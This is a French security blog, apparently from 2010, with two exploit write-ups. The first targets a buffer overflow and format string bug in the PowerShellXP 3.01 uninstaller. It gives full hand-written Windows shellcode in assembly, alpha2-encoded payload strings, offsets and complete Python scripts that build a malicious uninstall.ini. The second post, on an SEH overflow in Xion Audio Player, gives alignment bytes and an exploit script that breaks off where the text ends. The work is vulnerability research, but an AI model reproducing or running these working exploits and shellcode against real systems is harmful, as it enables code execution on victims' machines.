samedi 11 décembre 2010

[Exploit] PowerShell 3.01 0day

Cheers to sec0d and it's members for finding the vuln' :). Thanks to kmkz and ZadYRee for support ;).


Introduction

Aujourd'hui on va attaquer PowerShellXP 3.01.
C'est une extension du shell windows (je vous avouerais que je me suis pas penché plus que ça sur ses fonctionnalitées).
Ce soft souffre d'une vulnérabilitée dans son désinstalleur comme nous allons le voir.

Trigger it!

On lance le désinstalleur et il nous affiche un gentil message :).

Après recherche dans les différents fichier dans le dossier d'installation, on trouve une ligne intéressante dans le uninstall.ini.


On change le %s en %x juste pour voir ... et coup de chance : format string ;).


Reste plus qu'à crasher ça avec un pattern metasploit.


Recherche de l'offset avec !pvefindaddr suggest.
On trouve donc 5268.

En regardant de plus près notre stack (screen 4), on voit qu'on a un pointeur sur notre pile
qui pointe directement sur notre buffer, all the win? :)
Le schéma de la stack :


Il nous suffira donc de trouver une instruction style pop/pop/ret pour retourner sur notre payload :).

On regarde en 0x4012AF et on remarque un appel à wvsprintfA() juste avant, on a localisé la vuln' ;).

On remarque que l'addresse du buffer se trouve en 0x406E70 (huh?) et qu'on re-écrit EIP au bout de 5268 octets ... bizarre. Donc on a EIP qui se trouve en 0x408304.
Regardons un peu qu'es-ce qu'on re-écrit :

On tape donc dans la section des imports. En regardant les imports vers 0x408304 ... on a wvsprintfA() ;). A l'appel de celle-ci on redirige en fait notre code directos sur notre payload :).

En posant un breakpoint au début de la fonction appellée (0x40127C) on voit ça :

Un peu plus bas sur la pile on peut voir qu'on a un retour vers 0x40330F, on va à cette addresse et on voit 1 appel avant notre fonction en 0x401512 qui fait un appel vers lstrcpyA() ... et voilà d'où vient la vuln ;).

Et l'appel à notre lstrcpyA() :

Donc pour résumer, on a 2 vulnérabilitée:
- un buffer overflow due à lstrcpyA()
- une format string s'en suivant due à l'appel de wvsprintfA() avec le format qu'on controle ;)

Et voilà, maintenant il nous reste juste le code d'alignement pour notre shellcode
qu'on va encoder en utilisant l'alpha2.

Alignment code

Voilà le code d'alignement (veuillez vous reférer à mon article sur Xion Audio Player
exploitation pour de plus amples explication sur la manière de construire un code
d'alignement ;) ) :

# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# pop esp (make esp point to data)
align += '\\'
# popad
align += 'a'
align += 'K' * 18 # junk byte :)
align += 'C' * 4  # ecx
align += 'C' * 4  # eax

J'ai choisi ESP en base address car plus facile à aligner (grâce à popad :)).
C'est pour cette raison que je fais pointer ESP vers la section .data directement ^^.

Bon maintenant on a tous les éléments en main pour construire notre exploit.

Pawned?

Aller on essaie avec une payload calculatrice classique ;) :


Ouch, "Access Violation" à cause d'un PUSH, c'est dû au fait qu'on atteint la fin de la section .data :s. On va solutionner ça avec un shellcode windows maison qui va allouer une nouvelle stack tout simplement :).

Let's shellcode!

Pour cette partie je vous conseille de vous documenter sur le format de fichier exécutable PE et sur le shellcoding Windows (le document de skape est très bon :)).

Le déroulement d'un shellcode windows est généralement le suivant :
- parcours du PEB à la recherche de la base de kernel32.dll
- resolutions des fonctions nécessaires de kernel32.dll
        - parsing de l'EAT à la recherche des exports correspondants
- appel des fonctions

Un peu de parsing du fichier PE, on trouve nos imports et on fais nos appels
comme il faut :).

Ca nous donne la payload suivante :
bits 32

; defines
PAGE_EXECUTE_READWRITE  equ 0x40
HEAP_ZERO_MEMORY equ 0x8
; 1KB
KB equ 1024
MB equ 1024*KB

; 1MB stack
MEMORY_SIZE equ MB
GETSTUB_SIZE equ 13
ENCODER_SIZE equ 51
CURRENT_PAYLOAD_SIZE equ 861
CURRENT_PAYLOAD_OFFSET equ CURRENT_PAYLOAD_SIZE - ENCODER_SIZE - GETSTUB_SIZE
PAYLOAD_SIZE equ 5268-CURRENT_PAYLOAD_OFFSET

; hash : kernel32.dll
GETPROCESSHEAPHASH  equ     0xa80eecae
VIRTUALPROTECTHASH  equ     0x7946c61b
LOADLIBRARYAHASH    equ     0xec0e4e8e

; hash : ntdll.dll
RTLALLOCATEHEAPHASH       equ     0x3e192526

section .text
    global main

alloc_start:
main:
    ; get current stub address
    jmp short redirect
    get_eip_ret:
        pop eax ; eip
        jmp current_payload
    redirect:
    call get_eip_ret

    current_payload:
    sub esp, 0x20
    mov ebp, esp
    mov [ebp+ADDRESS_STUB], eax

    ; search kernel32 base address
    call find_kernel32

    ; resolve kernel32 symbols
    ; base of kernel32.dll
    mov edx, eax
    mov esi, [ebp+ADDRESS_STUB]
    add esi, kernel32_hash_table - GETSTUB_SIZE
    mov ecx, esi
    add ecx, 12     ; 3 symbols to resolve
    lea edi, [ebp+KERNEL32_FUNC_TABLE]
    call resolve_symbols_for_dll

    ; LoadLibraryA('ntdll.dll')
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, ntdll_dll - GETSTUB_SIZE
    push ebx        ; 'ntdll.dll'
    call [ebp+LOADLIBRARYA]

    ; resolve ntdll symbols
    ; base of ntdll.dll
    mov edx, eax
    mov ecx, esi    ; restore clobbered ecx (due to LoadLibraryA)
    add ecx, 4      ; 1 symbol to resolve
    call resolve_symbols_for_dll

    ; LoadLibraryA('user32.dll')
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, user32_dll - GETSTUB_SIZE
    push ebx        ; 'user32.dll'
    call [ebp+LOADLIBRARYA]

    ; resolve user32 symbols
    ; base of user32.dll
    mov edx, eax
    mov ecx, esi    ; restore clobbered ecx (due to LoadLibraryA)
    add ecx, 4      ; 1 symbol to resolve
    call resolve_symbols_for_dll

    ; GetProcessHeap
    call [ebp+GETPROCESSHEAP]

    ; RtlAllocateHeap() ... same result as HeapAlloc()
    push MEMORY_SIZE        ; dwBytes
    push HEAP_ZERO_MEMORY   ; dwFlags
    push eax                ; hHeap
    call [ebp+RTLALLOCATEHEAP]
    push eax                ; save allocated memory address

    ; VirtualProtect()
    lea ecx, [ebp+OLDPROTECT]
    push ecx                        ; lpflOldProtect
    push PAGE_EXECUTE_READWRITE     ; flNewProtect
    push MEMORY_SIZE                ; dwSize
    push eax                        ; lpAddress
    call [ebp+VIRTUALPROTECT]
    
    ; get allocated memory address back :)
    pop edx

    ; set new stack :)
    add edx, MEMORY_SIZE
    push edx
    pop esp

    ; show message :)
    push 0                              ; uType = MB_OK
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnTitle - GETSTUB_SIZE
    push ebx                            ; lpCaption = 'Hacked! :)'
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnMsg - GETSTUB_SIZE
    push ebx                            ; lpText = 'Pawned by m_101'
    push 0                              ; hWnd = NULL = no owner window
    call [ebp+MESSAGEBOX]

    ; we compute payload address for jmp
    mov eax, [ebp+ADDRESS_STUB]
    mov ebx, CURRENT_PAYLOAD_OFFSET
    add eax, ebx

    ; jmp to payload
    jmp eax

; get kernel32 module base address from PEB
; void* find_kernel32(void)
find_kernel32:
    xor eax, eax
    add eax, [fs:eax+0x30]       ; eax = PEB
    js short method_9x

    method_nt:
        mov   eax, [eax + 0ch]      ; PEB_LDR_DATA *
        mov   esi, [eax + 1ch]      ; PEB_LDR_DATA.InInitializationOrderModuleList
        lodsd                       ; eax = [esi]   get kernel32 entry
        mov   eax, [eax + 08h]      ; kernel32 DllBase
        jmp short kernel32_ptr_found

    method_9x:
        mov   eax, [eax + 34h]
        lea   eax, [eax + 7ch]
        mov   eax, [eax + 3ch]
    kernel32_ptr_found:
    ret

; resolve function address
; void* find_function (void *base, unsigned int hash)
find_function:
    pushad                          ; save all registers ^^
    mov ebp, [esp + 0x24]           ; VA base address of module
    mov eax, [ebp + 0x3c]           ; pe header
    mov edx, [ebp + eax + 0x78]     ; get export address table
    add edx, ebp                    ; VA of EAT
    mov ecx, [edx + 0x18]           ; number of exported functions
    mov ebx, [edx + 0x20]           ; name table
    add ebx, ebp                    ; VA of name table

    find_function_loop:
        jecxz find_function_finished    ; if ecx == 0 then unresolved
        dec ecx                         ; one entry less to check
        mov esi, [ebx + ecx * 4]        ; name offset of current symbol
        add esi, ebp                    ; VA of name

        compute_hash:
            xor edi, edi                ; hash = 0
            xor eax, eax                ; character
            cld                         ; assure it increment by setting DF=0

            compute_hash_again:
                lodsb                       ;
                test al, al                 ; end of string reached?
                jz compute_hash_finished    ; if yes, finished to hash
                ror edi, 0xd                ; rotate right for 13 bits
                add edi, eax                ; hash
            jmp compute_hash_again
        compute_hash_finished:

        find_function_compare:
            cmp edi, [esp + 0x28]           ; does it match requested hash?
    jnz find_function_loop                  ; if not we continue searching
        mov ebx, [edx + 0x24]               ; ordinal table offset
        add ebx, ebp                        ; VA of ordinal table offset
        mov cx, [ebx + 2 * ecx]             ; current ordinal
        mov ebx, [edx + 0x1c]               ; address table offset
        add ebx, ebp                        ; VA of address table offset
        mov eax, [ebx + 4 * ecx]            ; relative function offset
        add eax, ebp                        ; function VA yeepee!
        mov [esp + 0x1c], eax               ; patch saved eax value
    find_function_finished:

    popad                                   ; restore :)
    ret 8

; void resolve_symbols_for_dll (edx = base of dll, edi = resolved addresses, esi = hash table address, ecx == end of hash table)
resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add edi, 0x4        ; go forward in address table
    cmp esi, ecx
    jnz resolve_symbols_for_dll
    ret

; offset compared to ebp ;)
; kernel32
KERNEL32_FUNC_TABLE     equ 0
GETPROCESSHEAP          equ 0
VIRTUALPROTECT          equ 4
LOADLIBRARYA            equ 8

; ntdll
NTDLL_FUNC_TABLE    equ 12
RTLALLOCATEHEAP     equ 12

; user32
USER32_FUNC_TABLE   equ 16
MESSAGEBOX          equ 16

;
ADDRESS_STUB        equ 20
KERNEL32_BASE       equ 24
OLDPROTECT          equ 28

; hash tables
kernel32_hash_table:
    GetProcessHeapHash  dd     0xa80eecae
    VirtualProtectHash  dd     0x7946c61b
    LoadLibraryAHash    dd     0xec0e4e8e

ntdll_hash_table:
    RtlAllocateHeapHash dd     0x3e192526

user32_hash_table:
    MessageBox  dd  0xbc4da2a8

; dll to load
ntdll_dll: db 'ntdll.dll', 0
user32_dll: db 'user32.dll', 0

; message to show :)
pawnMsg: db 'Pawned by m_101', 0
pawnTitle: db 'Hacked! :)', 0

    ; (alpha2 payload eax based)
    payload:

Le code est bien commenté donc assez compréhensible ^^.
Dans cette payload, j'effectue les actions suivantes :
- recherche de la base de kernel32
- résolution des symbôles de kernel32
- LoadLibraryA ("ntdll.dll")
- résolution des symbôles de ntdll
- allocation de mémoire :
       RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, MEMORY_SIZE)
- VirtualProtect() // inutile ici mais ça pourrait être utile pour faire du staging par exemple ;)
- On set esp à la zone allouée
- MessageBox()
- Calcul de la position de notre "vraie" payload + jmp vers celle-ci (EAX based)

J'ai légèrement tweaké la routine de résolution des symbols de skape (ret 8 à la
fin de find_function).
Y'a moyen d'optimiser plus mais bon, ici on a 5268 octets d'espace, on a largement
de quoi faire :).

Finally hacked?

Let's try that :).


Oh yeah baby! :)

Le sploit

Comme vu dans mon shellcode windows, je fais un jmp eax après, ça explique le fait
qu'il faudra baser votre payload alpha2 encoded sur EAX ;). Si vous voulez changer
de base address, suffit de modder le shellcode ;).
Here it is :
#!/usr/bin/python

# vuln finders : kmkz, zadyree, hellpast
# author : m_101 
# site         : binholic.blogspot.com
import sys

if len(sys.argv) < 4:
    print("Usage: %s input output payload" % sys.argv[0])
    exit(1)

# get file content
infile = sys.argv[1]
fp = open(infile, 'r')
content = fp.read()
fp.close()

#
fpayload = sys.argv[3]
fp = open(fpayload, 'r')
payload = fp.read()
fp.close()

# first offset ... but not enough room
# ret_offset = 248
ret_offset = 5268
# size 118, tag = 'PAWN'
allocnewstack = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkffbxyyFeWpgpUPixL5kOKOKOmQzLupS0uPS0mY8eOy3udTKXnMgpgpwpmYKrnkqeUDmQkvssgqwpUPlIxqmQkqDLuPuP5Pnm1mUPKXDC6aePUPLKQM7dK1HCcguQwp5PbsKOpU5XmYkroyXqk1yQdDuPEPgpM8KWwpuPePlKqMDTMQYSqquQUPWpSckOPUuXk9ZblIZQmQjawtc0Gp7pKXzkGpwp7pio2u5PPhuPwpdPWpU8fh7pwpS0pPkOSeVlRpLMrmELSaQxspGpEPEPE8EPWpR0GpRp9oPUWtPZOqYR5Pgp4PGp1B3lSXEP7pGp30nkQM6tMQZcSLc1ePWpRsNksm5DoqiS0l5QC0UPpSqxs0EPEP7p9o65FpLKSub4OKWmfcwpUP7qN8kOKPeao0cTgsw000RXtLnkQPflNkpp5LNMlKspTHHkWylKQPp4lMcpQlLK1PelKsu0nkplQ4utNk2egLnkQDs5RXs1jJLKQZ6xlK3jep7qHkm3dw0INk4tnkgq8n4qkOP1o0kLNLmTYPrTgzkqZoTMeQkwXi9akOKOkO7KqletQ82U9NnkpZa4uQzKSVlKVlpKlKRzuLC1ZKLK5TnkVajHMYqTUtULaqYRC8S0LmrppRkXMuIoioKOOyfgOqO7Fds0uPEPuixNRUHl9SLnXlfnlhUKYV3vaiNn2nDNxl16gUuIenLhY2pMOLRNqdCTBLrL6NqtrLPlwp45qccUT2wCDrFNqtPlRL30rppaQg0nu5e4WPU2PyWPrMCo5aVPUauPw8cQ53PkquQtwQ5pDzGYS0A"

# pop pop ret
ret = "\x9e\x13\x40\x00"

ecx = "\x45\x61\x39\x76"
eax = "\x47\x61\x39\x76"

print("Constructing alignment code")
# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# pop esp (make esp point to data)
align += '\\'
# popad
align += 'a'
align += 'K' * 18 # junk byte :)
align += 'C' * 4  # ecx
align += 'C' * 4  # eax

# buffer need to be long enough ;)
print("Padding")

print("Constructing payload")
# we need to allocate a new stack or it will trigger an access violation because we reach end of .data section
payload = allocnewstack + payload
print("Payload size : %u" % len(payload))
# let's have the minimum correct buffer length!
padding = (ret_offset - len(payload) - len(align)) * 'C'

print("Constructing egg")
egg = align + payload + padding + ret
print("Egg size : %u" % len(egg))

modified = content.replace('TESTTEST', egg)

# working
outfile = sys.argv[2]
print ("Writing exploit file : %s" % outfile)
fp = open(outfile, 'w')
fp.write(modified)
fp.close()


Usage :
./alpha2 esp < allocnewstack
./sploit.py uninstall.ini.tomod uninstall.ini [payload]


Le fichier uninstall.ini.tomod est fourni en fin d'article.

Comment ça, ça servait à rien de shellcoder une payload maison?

:) bah oui y'a quand même plus simple hein que de devoir faire une payload d'allocation d'une nouvelle stack ... fallait bien que je trouve une excuse pour le shellcoding windows et puis c'est quand même plus classe de pouvoir crafter ses propres payloads :p. Anyway, suffit de tweaké un peu mieux notre code d'alignement pour que tout roule nickel ;).

# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# push esp  ; save current esp register
align += 'T'
# pop edx   ; save in edx
align += 'Z'
# pop esp (make esp point to data)
align += '\\'
# push edx  ; old esp register
align += 'R'    # edi
# popad
align += 'a'

# align += ecx
# align += eax

# we get actual value (for later restore ;))
# pop ecx
# push ecx
align += "\x59\x51"
# push esp
# pop eax       ; here the code is adjusted but we still need to restore old stack
align += 'TX'
# we repatch the stack (or we may have bad memory access ;))
# push ecx
align += "\x51"
# we don't want our current instructions to be crushed
# dec esp * 4
align += 'L' * 8
# push edi  ; old stack
align += 'W'
# pop esp   ; restore old stack
align += '\\'
# junk bytes
align += 'K' * 4 # scrape space (esp point here)

Ici le registre de base est EAX par contre (push esp, pop eax) vu qu'on restore
l'ancienne stack. Et wala, on est passé de 1362 octets à 501 octets sans la
payload maison ;).  Bien sûr, vous pourrez toujours en ajouter une maintenant
que vous savez faire :). Les push ecx sont là pour restorer les instructions
écrasées sur la stack (qu'on exécute!) sinon on peut avoir un access violation!

Au final, notre shellcode ressemble désormais à ça :
bits 32

; defines
PAGE_EXECUTE_READWRITE  equ 0x40
HEAP_ZERO_MEMORY equ 0x8
; 1KB
KB equ 1024
MB equ 1024*KB

; 1MB stack
MEMORY_SIZE equ MB
GETSTUB_SIZE equ 13
ENCODER_SIZE equ 51
CURRENT_PAYLOAD_SIZE equ 585
CURRENT_PAYLOAD_OFFSET equ CURRENT_PAYLOAD_SIZE - ENCODER_SIZE - GETSTUB_SIZE
PAYLOAD_SIZE equ 5268-CURRENT_PAYLOAD_OFFSET

; hash
MESSAGEBOXAHASH     equ     0xbc4da2a8
LOADLIBRARYAHASH    equ     0xec0e4e8e

section .text
    global main

alloc_start:
main:
    ; get current stub address
    jmp short redirect
    get_eip_ret:
        pop eax ; eip
        jmp current_payload
    redirect:
    call get_eip_ret

    current_payload:
    sub esp, 0x20   ; make room on stack to store pointers
    mov ebp, esp
    mov [ebp+ADDRESS_STUB], eax

    ; search kernel32 base address
    call find_kernel32

    ; kernel32.dll
    ; resolve LoadLibraryA
    push LOADLIBRARYAHASH
    push eax
    call find_function
    mov [ebp+LOADLIBRARYA], eax

    ; LoadLibraryA('user32.dll')
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, user32_dll - GETSTUB_SIZE
    push ebx        ; 'user32.dll'
    call [ebp+LOADLIBRARYA]

    ; user32.dll
    ; resolve MessageBoxA
    push MESSAGEBOXAHASH
    push eax
    call find_function
    mov [ebp+MESSAGEBOXA], eax

    ; show message :)
    push 0                              ; uType = MB_OK
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnTitle - GETSTUB_SIZE
    push ebx                            ; lpCaption = 'Hacked! :)'
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnMsg - GETSTUB_SIZE
    push ebx                            ; lpText = 'Pawned by m_101'
    push 0                              ; hWnd = NULL = no owner window
    call [ebp+MESSAGEBOXA]

    ; we compute payload address for jmp
    mov eax, [ebp+ADDRESS_STUB]
    mov ebx, CURRENT_PAYLOAD_OFFSET
    add eax, ebx

    ; jmp to payload
    jmp eax

; get kernel32 module base address from PEB
; void* find_kernel32(void)
find_kernel32:
    xor eax, eax
    add eax, [fs:eax+0x30]       ; eax = PEB
    js short method_9x

    method_nt:
        mov   eax, [eax + 0ch]      ; PEB_LDR_DATA *
        mov   esi, [eax + 1ch]      ; PEB_LDR_DATA.InInitializationOrderModuleList
        lodsd                       ; eax = [esi]   get kernel32 entry
        mov   eax, [eax + 08h]      ; kernel32 DllBase
        jmp short kernel32_ptr_found

    method_9x:
        mov   eax, [eax + 34h]
        lea   eax, [eax + 7ch]
        mov   eax, [eax + 3ch]
    kernel32_ptr_found:
    ret

; resolve function address
; void* find_function (void *base, unsigned int hash)
find_function:
    pushad                          ; save all registers ^^
    mov ebp, [esp + 0x24]           ; VA base address of module
    mov eax, [ebp + 0x3c]           ; pe header
    mov edx, [ebp + eax + 0x78]     ; get export address table
    add edx, ebp                    ; VA of EAT
    mov ecx, [edx + 0x18]           ; number of exported functions
    mov ebx, [edx + 0x20]           ; name table
    add ebx, ebp                    ; VA of name table

    find_function_loop:
        jecxz find_function_finished    ; if ecx == 0 then unresolved
        dec ecx                         ; one entry less to check
        mov esi, [ebx + ecx * 4]        ; name offset of current symbol
        add esi, ebp                    ; VA of name

        compute_hash:
            xor edi, edi                ; hash = 0
            xor eax, eax                ; character
            cld                         ; assure it increment by setting DF=0

            compute_hash_again:
                lodsb                       ;
                test al, al                 ; end of string reached?
                jz compute_hash_finished    ; if yes, finished to hash
                ror edi, 0xd                ; rotate right for 13 bits
                add edi, eax                ; hash
            jmp compute_hash_again
        compute_hash_finished:

        find_function_compare:
            cmp edi, [esp + 0x28]           ; does it match requested hash?
    jnz find_function_loop                  ; if not we continue searching
        mov ebx, [edx + 0x24]               ; ordinal table offset
        add ebx, ebp                        ; VA of ordinal table offset
        mov cx, [ebx + 2 * ecx]             ; current ordinal
        mov ebx, [edx + 0x1c]               ; address table offset
        add ebx, ebp                        ; VA of address table offset
        mov eax, [ebx + 4 * ecx]            ; relative function offset
        add eax, ebp                        ; function VA yeepee!
        mov [esp + 0x1c], eax               ; patch saved eax value
    find_function_finished:

    popad                                   ; restore :)
    ret 8

; offset compared to ebp ;)
; kernel32
KERNEL32_FUNC_TABLE     equ 0
LOADLIBRARYA            equ 0

; user32
USER32_FUNC_TABLE   equ 4
MESSAGEBOXA         equ 4

;
ADDRESS_STUB        equ 8

; dll to load
user32_dll: db 'user32.dll', 0

; message to show :)
pawnTitle: db 'Hacked! :)', 0
pawnMsg: db 'Pawned by m_101', 0

    ; (alpha2 payload eax based)
    payload:

Et voilà le résultat :).
Dans les deuxs shellcodes vous pouvez voir que j'ai des defines pour la payload,
ça sert à calculer l'offset de la seconde payload en alpha2 qui est concaténée
à la suite ;).

Ca nous donne donc l'exploit final :
#!/usr/bin/python

# vuln finders : kmkz, zadyree, hellpast
# author       : m_101
# site         : binholic.blogspot.com
import sys

if len(sys.argv) < 4:
    print("Usage: %s input output payload" % sys.argv[0])
    exit(1)

# get file content
infile = sys.argv[1]
fp = open(infile, 'r')
content = fp.read()
fp.close()

#
fpayload = sys.argv[3]
fp = open(fpayload, 'r')
payload = fp.read()
fp.close()

# first offset ... but not enough room
# ret_offset = 248
ret_offset = 5268

# pop pop ret
ret = "\x9e\x13\x40\x00"

ecx = "\x45\x61\x39\x76"
eax = "\x47\x61\x39\x76"

print("Constructing alignment code")
# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# push esp  ; save current esp register
align += 'T'
# pop edx   ; save in edx
align += 'Z'
# pop esp (make esp point to data)
align += '\\'
# push edx  ; old esp register
align += 'R'    # edi
# popad
align += 'a'

# align += ecx
# align += eax

# we get actual value (for later restore ;))
# pop ecx
# push ecx
align += "\x59\x51"
# push esp
# pop eax       ; here the code is adjusted but we still need to restore old stack
align += 'TX'
# we repatch the stack (or we may have bad memory access ;))
# push ecx
align += "\x51"
# we don't want our current instructions to be crushed
# dec esp * 4
align += 'L' * 8
# push edi  ; old stack
align += 'W'
# pop esp   ; restore old stack
align += '\\'
# junk bytes
align += 'K' * 4 # scrape space (esp point here)

# buffer need to be long enough ;)
print("Padding")

print("Constructing payload")
msg = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIhkS62xKYc5wpC0uP9xZUKOkOyonahlwP5PEPuPK9kUOySuc8kXf6Gp5Ps0Phnn0NdNzLPPm81yS05Ps0NiQUuPLKsmEXmQO38WePEP5PPSYoPUuPsXMxOR2mMlPPKXrnePgpwpOyG5Vd0h5P7p5PuPLKCm38mQksJB5PC05PpSLKSmS8NaiSJMgpgpwpQCSXwpuPS0GpKOpUTDlKBedHmks9uRWp5PvazxioKP01O0PdUS3ptp1hvlLKQPTLnkRPglnMNkcpS8XkUYNk1PttnmCpsLnksp7LySQpnkbLddQ4lKPE5lLKrtuUrX5Q8jLK3zTXNkQJ5peQXkysvWSyNkP4LKuQXnTq9otqyPKLNLMTKp444JyQXOTMWqKwyyIaKOKOKOwKcL145x45YNLK3jTdeQ8kCVNkflbkNk0ZULs18klKuTLKgqKXLIW4VDglE1hBUXWpt5cC1uBRUcGBfN2DPl0lWpaXpa2C2K3UpdTaup7JUyuPPPu1RWPnQuPdupsRaiUpBMcotqtpvQWpA"
payload = msg + payload
print("Payload size : %u" % len(payload))
# let's have the minimum correct buffer length!
padding = (ret_offset - len(payload) - len(align)) * 'C'

print("Constructing egg")
egg = align + payload + padding + ret
print("Egg size : %u" % len(egg))

modified = content.replace('TESTTEST', egg)

# working
outfile = sys.argv[2]
print ("Writing exploit file : %s" % outfile)
fp = open(outfile, 'w')
fp.write(modified)
fp.close()

Usage :
./alpha2 eax < allocnewstack
./sploit.py uninstall.ini.tomod uninstall.ini [payload]

Le fichiers nécessaire uninstall.ini.tomod est fourni en fin d'article.

Conclusion

Comment quoi on aura pu voir que les overflow ne se déroulent pas qu'en stack,
mais aussi dans toutes les autres sections ou on peut écrire/exécuter du code ;).
En plus de tout ça, un avant-goût a été donné sur le shellcoding windows.

J'espère que ça vous a plut,

Have fun,

m_101

- [URL] Dessinez des stacks en LaTeX
- [URL] PowerShell XP 3.01
- [Fichier] uninstall.ini.tomod
- [Exploit] PowerShell XP 3.01 exploit

mardi 30 novembre 2010

[Exploit] Xion Audio Player 1.0.126 Buffer Overflow Vulnerability

[UPDATE : 30/11/2010] : corelanc0d3r backlinking + explication rapide sur egghunting + msf exploit module link

Bonsoir,

On voit souvent des vulnérabilitées étant classifiées comme des DOS, c'est assez courant mine de rien.
Aujourd'hui, je me balade sur Exploit-DB et je tombe sur ce DOS là : ici .

Let's hack it! ^^

Trigger it

Assez courant ces fichiers avec pleins de 'A' ;).

La première chose à faire est de savoir si on a un EIP ou un SEH overwrite :).

On génère notre fichier .m3u avec metasploit :
m_101@m_101-laptop:~/repos/msf$ tools/pattern_create.rb 10240 < ~/shared/msfpattern.m3u

On ouvre dans la "playlist" dans le lecteur.

Crash!


Oo de l'unicode dans notre SEH!! :)

On cherche l'offset avec pvefindaddr :
!pvefindaddr suggest


Et hop, on écrase le seh au bout de 263 octets (j'avais trouvé 252 au départ bizarrement ... testez ça marche encore avec mon sploit python ;)).
[EDIT] : L'offset change selon la longueur du path où se trouve le fichier mais ne dépend aucunement de la longueur du nom de fichier. Ici on trouve 263 car le fichier evil.m3u se trouve à la racine d'un disque.

Passons maintenant à la phase cassage du soft :).

Hack it!

On cherche une address de type ppr mais manque de pot, y'en a aucune qui est compatible unicode :(.

pvefindaddr est mine de rien un outils puissant ... il nous sauve la mise en nous trouvant un pointeur vers une instruction équivalente :
!pvefindaddr a
ce qui nous donne plusieurs pointeurs dont 0x00510043.

On a donc :
# 51            push ecx
# 00 43 00      add byte [ebx], al  ; nop
seh = '\x51\x43'    # add esp, 8 | ret

Il nous faut donc que EBX pointe vers une addresse écrivable.
En regardant notre pile, on voit que l'adresse empilée correspond à une addresse de stack => addresse écrivable.

 
Ce qui nous donne donc :

# 5b            pop ebx
# 00 43 00      add byte [ebx], al  ; nop
nseh = '\x5b\x43'

Dans notre screen précédent, on remarque aussi qu'il faut 2 pop avant d'atteindre un pointeur vers notre buffer unicode :). On va baser notre payload unicode sur ESP. Ca nous donne donc ça :
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"

Il ne reste donc plus qu'à aligner notre pile correctement. Pour celà, l'instruction popad est très pratique, elle dépile 8*4 = 32 octets pour un octet de code (4 si on compte le nop).
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
Vu qu'on pointe sur le début de notre buffer unicode, il faut donc qu'on y mettre 32 octets au mieux :).

Par contre, on a un problème à résoudre avant car les nops qu'on utilise ont la forme :
add [reg1], reg2
Il faut donc que reg1 pointe vers une addresse valide ... hors on détruit nos registres avec popad. Pour trouver notre addresse, on va utiliser la vue "Memory" (Alt+M) de Immunity DBG.


On trouve 3 plage intéressantes : numériques ;).

Ca nous donne donc ça :
# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"   ; ecx
align += "\x41\x39"   ; eax

On a finit de construire notre code d'alignement :
# alignment code
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
# junk code just for alignment
# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"     # ecx
align += "\x41\x39"     # eax

Vous mettez le sploit unicode (encodé avec alpha2) et tout devrait rouler ;).
N'oubliez pas de modifier le deuxième byte de la payload alpha2 avec 'a' (ecx) car sinon vous aurez un bon plantage (ebp pointe pas vers une bonne addresse).
Au final, on finit avec un beau sploit ;).

Egghunting?

Avoir la possibilitée d'encoder nos payloads avec l'encodeur alpha2 est somme tout assez pratique mais on se rend compte que niveau taille c'est pas trop ça ...
Comme vous le savez sûrement, il y a plusieurs techniques pour contourner les problèmes de tailles telles que le staging ou encore le egghunting.

Le egghunting consiste à chercher notre payload principale plus grosse en mémoire à l'aide d'une première payload de recherche.
Le paper de skape explique clairement le principe qui se résume aux étapes suivante :
1 - recherche d'une adresse mémoire valide (et lisible), si fail, on boucle sur 1
En effet, si nous essayons de lire une addresse mémoire non valide, nous aurons un plantage de la payload et donc un arrêt de notre exécution de code.
2 - vérification si le tag correspond (on boucle sur 1 si fail)
Le tag doit être unique, pour celà skape utilise un tag de 8 octets.
3 - exécution de la payload
Une fois le tag trouvé, on a un beau jmp vers celui-ci :).

Parfois on peut rencontrer des problèmes avec les egghunters telle que de multiples copies de la payload principale en mémoire (et certaines corrompues). La solution est de changer l'adresse de départ du egghunter ;).

corelanc0d3r a écrit un article entier sur le sujet sous forme de tutoriel : Exploit writing : Egghunting on Windows .

Et voilà now on a toutes les briques pour notre sploit' ^^.

Sploit it!

Voilà mon deuxième exploit unicode ^^ :
#!/usr/bin/python3

import sys
import subprocess

if len(sys.argv) < 3:
    print("Usage: %s payload output")
    exit(1)

filename = sys.argv[1]
fp = open(filename, 'rb')
payload = fp.read()
fp.close()

trigger1 = 'A' * 252
# skape NtDisplayString egghunter : alpha2 --unicode esp < egghunter.bin
